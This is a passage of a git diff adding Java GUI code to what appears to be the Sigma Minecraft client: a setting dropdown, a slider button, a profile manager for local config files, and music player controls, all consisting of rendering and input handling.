- 10 - 2 + 7,y + 14, mx, my); + if(downAnim.getValue() == 0) { + JelloFontUtil.jelloFont18.drawNoBSString(value.getValue(), endX - 10 - 2 - 40 - 5, y + 5, new Color(98,98,98, intalpha).getRGB()); + JelloFontUtil.jelloFont18.drawNoBSString(">", endX - 10 - 2 - 5 + 6, y + 4, + (hover_ ? new Color(130,130,130, intalpha) : new Color(174,174,174, intalpha)).getRGB()); + } + if(!hover_){ + click = false; + } + float perc = downAnim.getValue() / 10; + int size = value.values.length; + float width = 14; + if(!ClickUtils.isClickable(endX - 10 - 2 - 40 - 6, + y+4,endX - 10 - 2 + 7, + y + 14 + perc * (size) * width, mx ,my)){ + dragg = false; + } + super.drawButton(x, y, mx, my, pticks, alpha); + } + + @Override + public void markDraw(int x, int y, int mx, int my, float pticks, float alpha) { + int intalpha = (int)(alpha * 255); + int endX = x + 220; + float perc = downAnim.getValue() / 10; + int size = value.values.length; + float width = 14; + if(downAnim.getValue() != 0) { + RenderUtils.sigma_drawShadow(endX - 10 - 2 - 40 - 6 - 3, + y + 2 - 1, + endX - 10 - 2 + 7 + 3 - (endX - 10 - 2 - 40 - 6 - 3), + y + 14 + perc * (size) * width + 1 - (y + 2 - 1),5 + , perc * 0.75f); + RenderUtils.drawRect(endX - 10 - 2 - 40 - 6 - 3, + y + 2 - 1, endX - 10 - 2 + 7 + 3, + y + 14 + perc * (size) * width + 1, new Color(255, 255, 255, intalpha).getRGB()); + // + JelloFontUtil.jelloFont18.drawNoBSString(value.getValue(), endX - 10 - 2 - 40 - 5, y + 5, new Color(98, 98, 98, intalpha).getRGB()); + boolean hover_ = true; + float xOff = 4, yOff = 3; + // 旋转 + GL11.glPushMatrix(); + GL11.glTranslated(endX - 10 - 2 - 5 + 6 + xOff - 1, y + 4 + yOff + 1,0); + GL11.glRotated(perc * 90, 0, 0, 1); + GL11.glTranslated(-(endX - 10 - 2 - 5 + 6 + xOff - 1), -(y + 4 + yOff + 1),0); + JelloFontUtil.jelloFont18.drawNoBSString(">", endX - 10 - 2 - 5 + 6, y + 4, + new Color(130,130,130, intalpha).getRGB()); + GL11.glPopMatrix(); + + StencilUtil.initStencilToWrite(); + RenderUtils.drawRect(endX - 10 - 2 - 40 - 6 - 5, + y + 2 - 1, endX - 10 - 2 + 7 + 5, + y + 14 + perc * (size) * width + 1, -1); + StencilUtil.readStencilBuffer(1); + float yd = y + 14; + int index = 0; + for (String type : value.values) { + GlStateManager.resetColor(); + RenderUtils.drawRect(endX - 10 - 2 - 40 - 6 - 5 + 2, yd + 1, endX - 10 - 2 + 7 + 5 - 2, yd + width + 1, + new Color(0,0,0,(int)(alpha * 24 * (value.hoverAnims[index].getValue() / 10f))).getRGB()); + GlStateManager.resetColor(); + JelloFontUtil.jelloFont18.drawNoBSString(type, endX - 10 - 2 - 40 - 5, yd + 4.5f, new Color(0, 0, 0, intalpha).getRGB()); + yd += width; + index++; + } + StencilUtil.uninitStencilBuffer(); + } + super.markDraw(x, y, mx, my, pticks, alpha); + } + @Override + public void release(int x, int y, int mx, int my) { + int endX = x + 220; + boolean hover_ = ClickUtils.isClickable(endX - 10 - 2 - 40 - 6,y+4,endX - 10 - 2 + 7,y + 14, mx, my); + if(click && hover_){ + dragg = !dragg; + click = false; + } + if(dragg){ + int size = value.values.length; + float width = 14; + float yd = y + 14; + for (String type : value.values) { + if(ClickUtils.isClickable(endX - 10 - 2 - 40 - 6 - 5 + 2, yd + 1, endX - 10 - 2 + 7 + 5 - 2, yd + width + 1, mx, my )){ + dragg = false; + click = false; + value.setValue(type); + clicked(); + return; + } + yd += width; + } + } + super.release(x, y, mx, my); + } + + public boolean isHidden(){ + return value.isHidden(); + } + public boolean isCancelClick(int x, int y, int mx, int my){ + int endX = x + 220; + if(dragg) { + float width = 14; + float yd = y + 14; + for (String type : value.values) { + if (ClickUtils.isClickable(endX - 10 - 2 - 40 - 6 - 5 + 2, yd + 1, endX - 10 - 2 + 7 + 5 - 2, yd + width + 1, mx, my)) { + return true; + } + yd += width; + } + } + return false; + } + @Override + public boolean clickButton(int x, int y, int mx, int my) { + int endX = x + 220; + boolean hover_ = ClickUtils.isClickable(endX - 10 - 2 - 40 - 6,y+4,endX - 10 - 2 + 7,y + 14, mx, my); + if(hover_){ + click = true; + return true; + } + return super.clickButton(x, y, mx, my); + } +} diff --git a/src/info/sigmaclient/sigma/gui/clickgui/buttons/NumberButton.java b/src/info/sigmaclient/sigma/gui/clickgui/buttons/NumberButton.java new file mode 100644 index 00000000..073ca7b6 --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/clickgui/buttons/NumberButton.java @@ -0,0 +1,104 @@ +package info.sigmaclient.sigma.gui.clickgui.buttons; + +import info.sigmaclient.sigma.config.values.NumberValue; +import info.sigmaclient.sigma.utils.key.ClickUtils; +import info.sigmaclient.sigma.utils.render.RenderUtils; +import info.sigmaclient.sigma.utils.render.anims.PartialTicksAnim; +import info.sigmaclient.sigma.gui.font.JelloFontUtil; + +import java.awt.*; +import top.fl0wowp4rty.phantomshield.annotations.Native; + + +public class NumberButton extends Button { + public NumberValue value; + boolean dragging = false; + PartialTicksAnim animationUtils; + PartialTicksAnim hoverAnim; + public NumberButton(NumberValue value){ + hoverAnim = new PartialTicksAnim(0); + animationUtils = new PartialTicksAnim((int) (54 * (value.getValue().floatValue() / (value.max.floatValue() - value.min.floatValue())))); + this.value = value; + } + + @Override + public void animTick(int x, int y, int mx, int my) { + float width = 54; + int endX = x + 220; + int cx = (int) (width * ((value.getValue().floatValue() - value.min.floatValue()) / (value.max.floatValue() - value.min.floatValue()))); + animationUtils.interpolate(cx, 20f); + + if(ClickUtils.isClickable(endX - 57 - 1, y + 5 - 4, endX - 3 + 1, y + 8 + 4, mx, my) || dragging) { + hoverAnim.interpolate(10, 7.0); + }else{ + hoverAnim.interpolate(0, 7.0); + } + hoverAnim.interpolate(0, 0); + super.animTick(x, y, mx, my); + } + + public boolean isHidden(){ + return value.isHidden(); + } + @Override + public void drawButton(int x, int y, int mx, int my, float pticks, float alpha) { + int intalpha = (int)(alpha * 255); + JelloFontUtil.jelloFont25.drawString(value.name, x, y, new Color(0, 0, 0, intalpha).getRGB()); + float width = 54; + int endX = x + 220; + int dx = endX - 57; + int tx = endX - 3; + + RenderUtils.drawRoundedRect( + endX - 57, y + 5, endX - 3, y + 8, + 1f, new Color(215,234,254, intalpha).getRGB()); + + RenderUtils.drawRoundedRect( + endX - 57, y + 5, dx + animationUtils.getValue(), y + 8, + 1f, new Color(59,153,253, intalpha).getRGB()); + + + float aa = hoverAnim.getValue() / 10; + String ss = value.inc == NumberValue.NUMBER_TYPE.INT ? String.format("%.0f", value.getValue().floatValue()) : + (value.inc == NumberValue.NUMBER_TYPE.FLOAT ? String.format("%.2f", value.getValue().floatValue()) : String.format("%.1f", value.getValue().floatValue())); + JelloFontUtil.jelloFont14.drawString(ss, endX - 57 - 1 - 3 + - JelloFontUtil.jelloFont14.getStringWidth(ss) - 4 /* pad to make it readable (when 0, the circle hides it)*/, y + 5, + new Color(130,130,130,(int)(aa * 255 * alpha)).getRGB()); + RenderUtils.drawTexture(dx + 5 + animationUtils.getValue() - 16F - 1, y + 5.5f - 12.5F + 1 , 25 , 25, + "playermodelshadow",(dragging ? 0.5F : 0.2F) * alpha); + RenderUtils.drawFilledCircleNoGL(dx + animationUtils.getValue(), y + 6, 6, new Color(255, 255, 255, intalpha).getRGB(), 2); + + if(dragging){ + float pp = (mx - dx) / width; + pp = Math.max(0, pp); + pp = Math.min(1, pp); + float mmx = value.min.floatValue() + pp * (value.max.floatValue() - value.min.floatValue()); + if(value.inc == NumberValue.NUMBER_TYPE.INT) + mmx = (int) mmx; + else if(value.inc == NumberValue.NUMBER_TYPE.FLOAT) + mmx = (float)(Math.round(mmx*100))/100; + else mmx = (float)(Math.round(mmx*10))/10; + value.setValue(mmx); + } + super.drawButton(x, y, mx, my, pticks, alpha); + } + + @Override + public void release(int x, int y, int mx, int my) { + dragging = false; + super.release(x, y, mx, my); + } + + @Override + public boolean clickButton(int x, int y, int mx, int my) { + float width = 54; + int endX = x + 220; + int dx = endX - 57; + int tx = endX - 3; + if(ClickUtils.isClickable(endX - 57 - 1, y + 5 - 4, endX - 3 + 1, y + 8 + 4, mx, my)){ + dragging = true; + return true; + } + return super.clickButton(x, y, mx, my); + } +} diff --git a/src/info/sigmaclient/sigma/gui/clickgui/config/ConfigManagerGUI.java b/src/info/sigmaclient/sigma/gui/clickgui/config/ConfigManagerGUI.java new file mode 100644 index 00000000..6fbf2552 --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/clickgui/config/ConfigManagerGUI.java @@ -0,0 +1,351 @@ +package info.sigmaclient.sigma.gui.clickgui.config; + +import com.mojang.blaze3d.matrix.MatrixStack; +import info.sigmaclient.sigma.utils.render.rendermanagers.GlStateManager; +import info.sigmaclient.sigma.utils.render.rendermanagers.ScaledResolution; +import info.sigmaclient.sigma.gui.font.JelloFontUtil; +import info.sigmaclient.sigma.gui.JelloTextField; +import info.sigmaclient.sigma.sigma5.utils.ConfigButton; +import info.sigmaclient.sigma.sigma5.utils.Sigma5AnimationUtil; +import info.sigmaclient.sigma.SigmaNG; +import info.sigmaclient.sigma.config.ConfigManager; +import info.sigmaclient.sigma.utils.key.ClickUtils; +import info.sigmaclient.sigma.utils.render.RenderUtils; +import info.sigmaclient.sigma.utils.render.StencilUtil; +import org.lwjgl.opengl.GL11; + +import java.awt.*; +import java.io.File; +import java.util.Objects; +import java.util.concurrent.CopyOnWriteArrayList; + +import static info.sigmaclient.sigma.minimap.minimap.Minimap.mc; +import static info.sigmaclient.sigma.sigma5.utils.SomeAnim.欫좯콵ç”鶲㥇; +import static info.sigmaclient.sigma.utils.render.RenderUtils.霥瀳놣㠠釒; +import top.fl0wowp4rty.phantomshield.annotations.Native; + + +public class ConfigManagerGUI { + MatrixStack emptyStack = new MatrixStack(); + public Sigma5AnimationUtil scale = new Sigma5AnimationUtil(300, 100); + public Sigma5AnimationUtil addProfile = new Sigma5AnimationUtil(300, 100); + public CopyOnWriteArrayList configs = new CopyOnWriteArrayList<>(); + float scroll = 0; + float maxScroll = 0; + boolean sss = false; + Config reNameConfig = null; + ConfigButton add, blank, dupe; + JelloTextField edit = new JelloTextField(0, mc.fontRenderer, 0, 0, 80, 25); + static class Config { + public boolean show = false, renaming = false; + public Sigma5AnimationUtil editAnimation = new Sigma5AnimationUtil(290, 290); + public String name; + public File path; + public Sigma5AnimationUtil animationUtil = new Sigma5AnimationUtil(290, 290); + public float alpha = 0; + public Config(String name, File path) { + this.name = name; + this.path = path; + } + } + public boolean show = false; + public boolean showAdd = false; + public boolean renaming = false; + public void render(float alpha, int x, int y){ + if(!show || showAdd){ + reNameConfig = null; + } + edit.setVisible(false); + scale.animTo(show ? Sigma5AnimationUtil.AnimState.ANIMING : Sigma5AnimationUtil.AnimState.SLEEPING); + addProfile.animTo(showAdd ? Sigma5AnimationUtil.AnimState.ANIMING : Sigma5AnimationUtil.AnimState.SLEEPING); + float myAlpha = scale.getAnim(); + float n = 欫좯콵ç”鶲㥇(myAlpha, 0.37, 1.48, 0.17, 1); + if (scale.isAnim == Sigma5AnimationUtil.AnimState.SLEEPING) { + n = 欫좯콵ç”鶲㥇(myAlpha, 0.38, 0.73, 0.0, 1.0); + } + ScaledResolution sr = new ScaledResolution(mc); + float w = sr.getScaledWidth(), h = sr.getScaledHeight(); + float mw = 110 / 4f, mh = 82 / 4f; + RenderUtils.drawTextureLocationZoom(w - mw - 7, h - mh - 7.5f, mw, mh, "options", new Color(1, 1, 1, alpha * 0.3f)); + String configName = ConfigManager.currentProfile == null ? "null" : ConfigManager.currentProfile; + float width = (float) JelloFontUtil.jelloFont20.getStringWidth(configName); + JelloFontUtil.jelloFont20.drawNoBSString(configName, w - mw - 8.5f - width - 5f + 1, h - mh - 1, new Color(1, 1, 1, alpha * 0.5f).getRGB()); +// JelloFontUtil + float sx = (float) (w - mw - 7 + mw), sy = (float) (h - mh - 7.5f + mh); + + if(!ClickUtils.isClickable(sx - 125, sy - 250, sx, sy, x, y)){ + show = false; + showAdd = false; + } + for (Config config : configs) { + config.editAnimation.animTo(config.show ? Sigma5AnimationUtil.AnimState.ANIMING : Sigma5AnimationUtil.AnimState.SLEEPING); + } + myAlpha *= alpha; + if(myAlpha != 0 && sss) { + GL11.glPushMatrix(); + if (n != 1) { + GlStateManager.translate(sr.getScaledWidth(), sr.getScaledHeight(), 0); + GlStateManager.scale(0.8f + n * 0.2f, 0.8f + n * 0.2f, 0); + GlStateManager.translate(-sr.getScaledWidth(), -sr.getScaledHeight(), 0); + } + RenderUtils.drawRoundShadow(sx - 125, sy - 250, 125, 250, new Color(244, 244, 244, (int) (myAlpha * 255)).getRGB()); + JelloFontUtil.jelloFont25.drawNoBSString("Profiles", sx - 125 + 12.5f, sy - 250 + 12.5f, 霥瀳놣㠠釒(-16711423, 0.8f * myAlpha)); + RenderUtils.drawRect(sx - 125 + 12.5f, sy - 250 + 30 + 5, sx - 12.5f, sy - 250 + 30 + 5.5f, 霥瀳놣㠠釒(-16711423, 0.05f * myAlpha)); + float cy = sy - 250 + 30 + 5.5f + 5 - scroll; + + float n3 = 0.9f + (1.0f - 欫좯콵ç”鶲㥇(addProfile.getAnim(), 0.0, 0.96, 0.69, 0.99)) * 0.1f; + if (!addProfile.isAnim.is()) { + n3 = 0.9f + (1.0f - 欫좯콵ç”鶲㥇(addProfile.getAnim(), 0.61, 0.01, 0.87, 0.16)) * 0.1f; + } + if (add != null) + add.myRender(x, y, new Color(59, 153, 253), myAlpha); + GL11.glPushMatrix(); + if (n3 != 1) { + float scaleX = sx - 125 / 2f, scaleY = sy - 125; + GlStateManager.translate(scaleX, scaleY, 0); + GlStateManager.scale(n3, n3, 0); + GlStateManager.translate(-scaleX, -scaleY, 0); + } + StencilUtil.initStencilToWrite(); + RenderUtils.drawRect(sx - 125 + 12.5f - 7f, sy - 250 + 30 + 5 + 3f, sx - 12.5f + 7f, sy, -1); + StencilUtil.readStencilBuffer(1); + for (Config config : configs) { + boolean hh = ClickUtils.isClickable(sx - 125 + 12.5f - 7f, cy, sx - 12.5f + 7f, cy + 35, x, y); + config.animationUtil.animTo(hh ? Sigma5AnimationUtil.AnimState.ANIMING : Sigma5AnimationUtil.AnimState.SLEEPING); + if(!hh || config.renaming){ + config.show = false; + } + if(reNameConfig == config){ + edit.setVisible(true); + edit.x = (int) (sx - 125 + 12.5f - 7f + 10); + edit.y = (int) (cy + 5); + edit.drawTextBox(); + cy += 35; + continue; + } + float n113 = 欫좯콵ç”鶲㥇(config.editAnimation.getAnim(), 0.6, 1.1, 0.3, 1); + float offsetX = n113 * -100; + config.alpha = config.animationUtil.getAnim(); + float s8 = sx - 12.5f + 7f + offsetX; + boolean hh2 = ClickUtils.isClickable(s8, cy, s8 + 50, cy + 35, x, y); + boolean hh3 = ClickUtils.isClickable(s8 + 50, cy, s8 + 100, cy + 35, x, y); + RenderUtils.drawRect(s8, cy, s8 + 50, cy + 35, 霥瀳놣㠠釒(hh2 ? new Color(71,108,181).getRGB() : new Color(82,125,212).getRGB(), myAlpha)); + RenderUtils.drawRect(s8 + 50, cy, s8 + 100, cy + 35, 霥瀳놣㠠釒(hh3 ? new Color(184,69,69).getRGB() : new Color(206,85,85).getRGB(), myAlpha)); + JelloFontUtil.jelloFont20.drawNoBSString("Rename", s8 + 7, cy + 14, -1); + JelloFontUtil.jelloFont20.drawNoBSString("Delete", s8 + 10 + 50, cy + 14, -1); + RenderUtils.drawRect(sx - 125 + 12.5f - 7f + offsetX, cy, sx - 12.5f + 7f + offsetX, cy + 35, 霥瀳놣㠠釒(-16711423, 0.03f * config.alpha * myAlpha)); + if (n3 == 1) { + JelloFontUtil.jelloFont24.drawNoBSString(config.name, sx - 125 + 12.5f - 3f + 6 + offsetX, cy + 12, 霥瀳놣㠠釒(-16711423, 0.8f * myAlpha)); + } else { + JelloFontUtil.jelloFont24.drawSmoothString(config.name, sx - 125 + 12.5f - 3f + 6 + offsetX, cy + 12, 霥瀳놣㠠釒(-16711423, 0.8f * myAlpha)); + } + + if (ConfigManager.currentProfile.equals(config.name)) { + RenderUtils.drawTextureLocationZoom(sx - 20 - 2 + offsetX, cy + 17.5f - 13 / 2f * 0.5f - 1, 17f * 0.5f, 13f * 0.5f, "alt/active", new Color(霥瀳놣㠠釒(-65794, myAlpha * n), true)); + } +// RenderUtils.drawRect(sx - 125 + 12.5f - 3f, sy - 250 + 30 + 5 + 3f, sx - 12.5f + 3f, sy, -1); + cy += 35; + } + StencilUtil.uninitStencilBuffer(); + GL11.glPopMatrix(); + + float addAlpha = 欫좯콵ç”鶲㥇(addProfile.getAnim() * alpha * myAlpha, 0.2, 0.4, 0.4, 1.0); + float addAlpha2 = alpha * myAlpha; + float xx = sy - 250 + 30 + 4 + 100 * Math.min(addAlpha, 1), xx2 = sx - 125; + if (!ClickUtils.isClickable(sx - 125, sy - 250, sx, sy - 250 + 30 + 4 + 100, x, y)) { + showAdd = false; + } + RenderUtils.drawRect(xx2, sy - 250 + 30 + 4, sx, xx, 霥瀳놣㠠釒(new Color(244, 244, 244).getRGB(), addAlpha2)); + + StencilUtil.initStencilToWrite(); + RenderUtils.drawRect(xx2, sy - 250 + 30 + 4, sx, xx, -1); + StencilUtil.readStencilBuffer(1); + if (dupe != null) { + dupe.myRender(x, y, new Color(59, 153, 253), addAlpha2); + } + if (blank != null) { + blank.myRender(x, y,new Color(59, 153, 253) , addAlpha2); + } + JelloFontUtil.jelloFont14.drawNoBSCenteredString("No Default Profiles Availble", xx2 + (sx - xx2) / 2f, sy - 250 + 30 + 4 + 50, 霥瀳놣㠠釒(new Color(50, 50, 50).getRGB(), 0.5f * addAlpha2)); + StencilUtil.uninitStencilBuffer(); +// if (offsetY != 0) { + RenderUtils.drawCustomShader2(xx2, xx, xx2 + 125, 0, addAlpha * 0.3f, 15); +// } + + GL11.glPopMatrix(); + } +// RenderUtils.drawRoundedRect(sx - 125, sy - 250, sx, sy, 6, ColorUtils.reAlpha(new Color(244,244,244), a).getRGB()); + } + public void typeKet(char a, int b){ + if(reNameConfig != null) { + if((a >= 'A' && a <= 'z') || a == ' ' || a == '.' || (a >= '0' && a <= '9')) { + edit.charTyped(a, b); + } + } + } + public boolean keyPress(int a, int b, int c){ + if(reNameConfig != null) + edit.keyPressed(a, b, c); + if(renaming){ + if(a == 257){ + File f = SigmaNG.getSigmaNG().configManager.getConfigFile(reNameConfig.name); + File f2 = SigmaNG.getSigmaNG().configManager.getConfigFile(edit.getText()); + boolean l = ConfigManager.currentProfile.equals(reNameConfig.name); + if(!f2.exists()){ + f.renameTo(f2); + read(); + } + if(l){ + ConfigManager.currentProfile = edit.getText(); + } + + renaming = false; + edit.setVisible(false); + edit.setText(""); + reNameConfig = null; + } + } + return false; + } + public boolean click(double x, double y, int b){ + if(renaming) return false; + ScaledResolution sr = new ScaledResolution(mc); + float w = sr.getScaledWidth(), h = sr.getScaledHeight(); + float mw = 110 / 4f, mh = 82 / 4f; + float sx = (float) (w - mw - 7 + mw), sy = (float) (h - mh - 7.5f + mh); + float cy = sy - 250 + 30 + 5.5f + 5 - scroll; + if(ClickUtils.isClickableWithRect(w - mw - 7, h - mh - 7.5f, mw, mh, x, y) && !show){ + show = true; + sss = true; + return true; + } + if(show) { + add.mouseClicked(x, y, b); + } + if(showAdd){ + blank.mouseClicked(x,y,b); + dupe.mouseClicked(x,y,b); + } + + float s8 = sx - 12.5f + 7f - 100; + if(ClickUtils.isClickable(sx - 125 + 12.5f - 7f, sy - 250 + 30 + 5 + 3f, sx - 12.5f + 7f, sy, x, y)) { + for (Config config : configs) { + if(config.show) { + if (!config.name.equals(ConfigManager.currentProfile)) { + if (ClickUtils.isClickable(s8 + 50, cy, s8 + 100, cy + 35, x, y)) { + // delete + File f = SigmaNG.getSigmaNG().configManager.getConfigFile(config.name); + f.delete(); + read(); + return true; + } + } + if (ClickUtils.isClickable(s8, cy, s8 + 50, cy + 35, x, y)) { + edit.setText(""); + edit.setVisible(true); + edit.setFocused2(true); + config.show = false; + reNameConfig = config; + showAdd = false; + renaming = true; + // rename + return true; + } + } + cy += 35; + } + } + cy = sy - 250 + 30 + 5.5f + 5 - scroll; + if(show && !showAdd) { + if(ClickUtils.isClickable(sx - 125 + 12.5f - 7f, sy - 250 + 30 + 5 + 3f, sx - 12.5f + 7f, sy, x, y)) { + for (Config config : configs) { + if (ClickUtils.isClickable(sx - 125 + 12.5f - 7f, cy, sx - 12.5f + 7f, cy + 35, x, y)) { + if(b == 0) { + SigmaNG.getSigmaNG().configManager.saveDefaultConfig(); + ConfigManager.currentProfile = config.name; + SigmaNG.getSigmaNG().configManager.saveLastConfigData(); + SigmaNG.getSigmaNG().configManager.loadDefaultConfig(); + }else if(b == 1){ + config.show = !config.show; + } + return true; + } + cy += 35; + } + } + } + return ClickUtils.isClickable(sx - 125 + 12.5f - 7f, sy - 250 + 30 + 5 + 3f, sx - 12.5f + 7f, sy, x, y); + } + + public void setScroll(double x, double y, double delta) { + ScaledResolution sr = new ScaledResolution(mc); + float w = sr.getScaledWidth(), h = sr.getScaledHeight(); + float mw = 110 / 4f, mh = 82 / 4f; + float sx = (float) (w - mw - 7 + mw), sy = (float) (h - mh - 7.5f + mh); + float cy = sy - 250 + 30 + 5.5f + 5 - scroll; + if(ClickUtils.isClickable(sx - 125, sy - 250, sx, sy, x, y)) { + if (delta != 0) { + scroll += delta > 0 ? -25 : 25; + if (scroll < 0) { + scroll = 0; + } + if (scroll > maxScroll) { + scroll = maxScroll; + } + } + } + } + public void reset() { + reNameConfig = null; + sss = false; + scroll = 0; + renaming = false; + ScaledResolution sr = new ScaledResolution(mc); + float w = sr.getScaledWidth(), h = sr.getScaledHeight(); + float mw = 110 / 4f, mh = 82 / 4f; + float sx = (float) (w - mw - 7 + mw), sy = (float) (h - mh - 7.5f + mh); + + add = new ConfigButton((int) (sx - 20), (int) (sy - 250 + 2), 10, 10, "+", (n)->{ + showAdd = true; + }, JelloFontUtil.jelloFont25); + dupe = new ConfigButton((int) (sx - 20 - 15), (int) (sy - 250 + 2 + 30), 10, 10, "Duplicate", (n)->{ + int count = 2; + File dupeFile = new File(ConfigManager.configDir, ConfigManager.currentProfile + " ("+count+").profile"); + while(dupeFile.exists()){ + count ++; + dupeFile = new File(ConfigManager.configDir, ConfigManager.currentProfile + " ("+count+").profile"); + } + SigmaNG.getSigmaNG().configManager.saveDupeConfig(ConfigManager.currentProfile + " ("+count+")"); + read(); + }, JelloFontUtil.jelloFont20); + blank = new ConfigButton((int) (sx - 125 + 20), (int) (sy - 250 + 2 + 30), 10, 10, "Blank", (n)->{ + int count = 2; + String s = "New Profile"; + File dupeFile = new File(ConfigManager.configDir, s + " ("+count+").profile"); + while(dupeFile.exists()){ + count ++; + dupeFile = new File(ConfigManager.configDir, s + " ("+count+").profile"); + } + SigmaNG.getSigmaNG().configManager.saveEmptyConfig(s + " ("+count+")"); + read(); + }, JelloFontUtil.jelloFont20); + scale = new Sigma5AnimationUtil(300, 100); + addProfile = new Sigma5AnimationUtil(290, 290); + read(); + } + public void read(){ + configs.clear(); + new Thread(()->{ + for(File f : Objects.requireNonNull(ConfigManager.configDir.listFiles())){ + if(f.isFile()){ + if(f.getName().endsWith(".profile")){ + String name = f.getName().substring(0, f.getName().length() - ".profile".length()); + configs.add(new Config(name, f)); + } + } + } + maxScroll = configs.size() * 35; + maxScroll = Math.max(0, maxScroll - 250); + }).start(); + } +} diff --git a/src/info/sigmaclient/sigma/gui/clickgui/musicplayer/JavaXMusicPlayer.java b/src/info/sigmaclient/sigma/gui/clickgui/musicplayer/JavaXMusicPlayer.java new file mode 100644 index 00000000..0d7ea5f0 --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/clickgui/musicplayer/JavaXMusicPlayer.java @@ -0,0 +1,109 @@ +package info.sigmaclient.sigma.gui.clickgui.musicplayer; + + +import info.sigmaclient.sigma.sigma5.jellomusic.Player; +import info.sigmaclient.sigma.sigma5.jellomusic.player.JelloMusic; + +import javax.swing.*; +import java.io.File; +import java.net.MalformedURLException; +import java.net.URL; +import top.fl0wowp4rty.phantomshield.annotations.Native; + + +public class JavaXMusicPlayer { +// public static Media media; +// public static MediaPlayer mediaPlayer; +// +// public static void shutUP(){ +// if(mediaPlayer == null) return; +// mediaPlayer.stop(); +// } +// +// public static void pause(){ +// if(mediaPlayer == null) return; +// mediaPlayer.pause(); +// } +// public static void start(){ +// if(mediaPlayer == null) return; +// mediaPlayer.play(); +// } +// +// public static void startFX(String path){ +// System.out.println(path); +// new Thread(()->{ +// SwingUtilities.invokeLater(() -> { +// new JFXPanel(); +// Platform.runLater(() -> StageBuilder.create() +// .scene(SceneBuilder.create() +// .width(0) +// .height(0) +// .root(LabelBuilder.create() +// .font(new javafx.scene.text.Font("Arial", 54d)) +// .text("Music Player") +// .build()) +// .build()) +// .onCloseRequest(windowEvent -> System.exit(0)) +// .build()); +// }); +// +// media = new Media(path); +// mediaPlayer = new MediaPlayer(media); +// mediaPlayer.setAudioSpectrumInterval(0.03); +// mediaPlayer.setAudioSpectrumListener((timestamp, duration, magnitudes, phases) -> { +// for(int i = 0; i < MusicWaveRender.volces.length; i++) { +// MusicWaveRender.volces[i] = (float) ((magnitudes[i] + 60) * (-1.5)); +// } +// }); +// mediaPlayer.play(); +// mediaPlayer.setVolume(JelloMusicPlayer.volumeControl); +// }).start(); +// +// } + public static void shutUP(){ + Player.stop(); + } + + public static void pause(){ + Player.pause(); + } + public static void start(){ + Player.resume(); + } + + public static void startFX(String path){ + System.out.println(path); +// new Thread(()->{ +// SwingUtilities.invokeLater(() -> { +// new JFXPanel(); +// Platform.runLater(() -> StageBuilder.create() +// .scene(SceneBuilder.create() +// .width(0) +// .height(0) +// .root(LabelBuilder.create() +// .font(new javafx.scene.text.Font("Arial", 54d)) +// .text("Music Player") +// .build()) +// .build()) +// .onCloseRequest(windowEvent -> System.exit(0)) +// .build()); +// }); +// +// media = new Media(path); +// mediaPlayer = new MediaPlayer(media); +// mediaPlayer.setAudioSpectrumInterval(0.03); +// mediaPlayer.setAudioSpectrumListener((timestamp, duration, magnitudes, phases) -> { +// for(int i = 0; i < MusicWaveRender.volces.length; i++) { +// MusicWaveRender.volces[i] = (float) ((magnitudes[i] + 60) * (-1.5)); +// } +// }); + try { + Player.play(new File(path).toURL().toString()); + } catch (MalformedURLException e) { + throw new RuntimeException(e); + } + Player.setVolume((int) (JelloMusicPlayer.volumeControl * 100)); +// }).start(); + + } +} diff --git a/src/info/sigmaclient/sigma/gui/clickgui/musicplayer/JelloMusicPlayer.java b/src/info/sigmaclient/sigma/gui/clickgui/musicplayer/JelloMusicPlayer.java new file mode 100644 index 00000000..22fed70e --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/clickgui/musicplayer/JelloMusicPlayer.java @@ -0,0 +1,486 @@ +package info.sigmaclient.sigma.gui.clickgui.musicplayer; + +import java.util.concurrent.TimeUnit; +import info.sigmaclient.sigma.utils.render.ColorUtils; +import java.util.List; +import java.util.Arrays; +import info.sigmaclient.sigma.utils.render.rendermanagers.ScaledResolution; +import net.minecraft.client.gui.AbstractGui; +import net.minecraft.util.ResourceLocation; +import org.lwjgl.opengl.GL11; +import info.sigmaclient.sigma.gui.font.JelloFontUtil; +import info.sigmaclient.sigma.utils.render.rendermanagers.GlStateManager; +import info.sigmaclient.sigma.utils.render.StencilUtil; +import java.util.Iterator; +import java.io.IOException; +import java.util.Collection; +import info.sigmaclient.sigma.music.youtubedl.YoutubeVideoHelper; +import info.sigmaclient.sigma.utils.music.TextureManager; +import info.sigmaclient.sigma.utils.music.Draw; +import info.sigmaclient.sigma.sigma5.jellomusic.Player; +import info.sigmaclient.sigma.utils.render.RenderUtils; +import java.awt.Color; +import info.sigmaclient.sigma.utils.key.ClickUtils; +import net.minecraft.client.Minecraft; +import info.sigmaclient.sigma.utils.render.anims.AnimationUtils; +import info.sigmaclient.sigma.utils.music.Music163; +import java.util.concurrent.CopyOnWriteArrayList; +import info.sigmaclient.sigma.utils.music.Music; +import info.sigmaclient.sigma.gui.JelloTextField; +import info.sigmaclient.sigma.utils.TimerUtil; + +public class JelloMusicPlayer { + public TimerUtil antiRepeat; + public JelloTextField searchBar; + public String currentChannel; + public String lastSearch; + public Music currentFile; + public MusicPlayer mp3; + public static CopyOnWriteArrayList musics; + public Music163 music163; + public boolean repeat; + public boolean hide; + public int scroll; + public static int currentSongLength; + public long currentPosition; + public int x; + public int y; + public boolean dragging; + public double startX; + public double startY; + public float lastX; + public float lastY; + public static float volumeControl; + int offsetY; + double animForMouse; + public boolean isMouseDown; + AnimationUtils mouseAnim; + Thread searchThread; + + public JelloMusicPlayer() { + this.antiRepeat = new TimerUtil(); + this.currentChannel = ""; + this.lastSearch = ""; + this.currentFile = null; + this.mp3 = new MusicPlayer(); + this.repeat = false; + this.hide = false; + this.offsetY = 0; + this.isMouseDown = false; + this.mouseAnim = new AnimationUtils(); + this.x = 500; + this.y = 100; + this.music163 = new Music163(""); + JelloMusicPlayer.musics = new CopyOnWriteArrayList(); + } + + public void init() { + if (this.searchBar == null) { + (this.searchBar = new JelloTextField(10, Minecraft.getInstance().fontRenderer, this.x + 121 + 15.5f, this.y - 9 + 20 - 1.5f, 243, 20, "Search...")).setMaxStringLength(32); + } + } + + public void handleMouse(final double L, final int mx, final int my) { + if (ClickUtils.isClickable((float)this.x, (float)(this.y + 30), (float)(this.x + 500), (float)(this.y + 290 - 50), mx, my)) { + this.animForMouse += L; + } + } + + public void doMouseAnim() { + this.animForMouse = this.mouseAnim.animate(0.0, this.animForMouse, 0.30000001192092896); + if 